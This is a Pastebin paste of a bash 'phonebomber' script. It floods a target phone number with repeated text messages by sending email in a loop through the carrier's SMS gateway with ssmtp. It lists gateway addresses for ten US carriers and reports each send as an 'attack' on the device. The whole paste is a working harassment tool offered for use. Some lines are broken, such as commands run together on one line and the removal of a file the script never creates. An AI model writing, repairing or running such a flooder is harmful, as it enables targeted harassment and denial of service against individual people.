Advertisement
Guest User

linux phonebomber ssmtp

a guest
Aug 14th, 2015
246
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.04 KB | None | 0 0
  1. #! /bin/bash
  2.  
  3. COUNTER=0
  4. SPEED=2
  5. function usage {
  6. echo "USAGE: $0 [OPTIONS] … [ARGUMENTS]"
  7. echo
  8. echo "-p Phone Number"
  9. echo "-c Carrier Code"
  10. echo "-o Display Carrier Codes"
  11. echo "-m Message to Send"
  12. echo "-t Number of Times to Send Message"
  13. echo "-d Delay \(in seconds\) Between Messages"
  14. echo "-h This Help Screen"
  15. echo
  16. echo "You can check the carrier of a phone number"
  17. echo "at www.fonefinder.net"
  18. echo
  19. echo "Instead of using a preset carrier code, you"
  20. echo "can enter the SMS gateway of the carrier"
  21. echo "using the '-c' option."
  22. echo
  23. echo "Written by MrPockets \(aka GhostNode\) and disk0"
  24. exit
  25. }
  26.  
  27. function carriers {
  28. echo "Carrier Codes:"
  29. echo
  30. echo "1 AT&T"
  31. echo "2 Boost Mobile"
  32. echo "3 Cingular"
  33. echo "4 Nextel"
  34. echo "5 Sprint"
  35. echo "6 Verizon or Straigh Talk"
  36. echo "7 T-mobile"
  37. echo "8 TracFone"
  38. echo "9 US Cellular"
  39. echo "10 Virgin Mobile"
  40. exit
  41. }
  42.  
  43. if [ "$1" == "" ]; then
  44. usage
  45. fi
  46. while [ "$1" != "" ]; do
  47. case "$1" in
  48.  
  49. '-p')
  50. shift
  51. NUMBER=$1
  52. ;;
  53. '-c')
  54. shift
  55. case "$1" in
  56. '1')
  57. GATEWAY="@txt.att.net"
  58. ;;
  59. '2')
  60. GATEWAY="@myboostmobile.com"
  61. ;;
  62. '3')
  63. GATEWAY="@cingular.com"
  64. ;;
  65. '4')
  66. GATEWAY="@messaging.nextel.com"
  67. ;;
  68. '5')
  69. GATEWAY="@messaging.sprintpcs.com"
  70. ;;
  71. '6')
  72. GATEWAY="@vtext.com"
  73. ;;
  74. '7')
  75. GATEWAY="@tmomail.net"
  76. ;;
  77. '8')
  78. GATEWAY="@mmst5.tracfone.com"
  79. ;;
  80. '9')
  81. GATEWAY="@email.uscc.net"
  82. ;;
  83. '10')
  84. GATEWAY="@yrmobl.com"
  85. ;;
  86. *)
  87. GATEWAY=$1
  88. ;;
  89. esac
  90. ;;
  91. '-m')
  92. shift
  93. MESSAGE=$1
  94. ;;
  95. '-d')
  96. shift
  97. SPEED=$1
  98. ;;
  99. '-t')
  100. shift
  101. TIMES=$1
  102. ;;
  103. '-h')
  104. usage
  105. ;;
  106. '-o')
  107. carriers
  108. ;;
  109. *)
  110. usage
  111. ;;
  112. esac
  113. shift
  114. done
  115.  
  116. echo >> delivery
  117. echo >> delivery
  118. echo $MESSAGE >> delivery
  119. clear
  120. echo " Attacking Device at: $NUMBER "
  121. echo " With Message: $MESSAGE "
  122.  
  123. until [ $TIMES -le $COUNTER ]; do
  124. ssmtp $NUMBER$GATEWAY < delivery sleep $SPEED COUNTER=$(($COUNTER +1))
  125. echo ==================================
  126. echo
  127. echo "Attack $COUNTER of $TIMES"
  128. echo
  129. echo Message: $MESSAGE date
  130. echo "Ctrl+C to call off attack"
  131. echo ==================================
  132. done
  133. rm 1.txt
  134. rm delivery
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement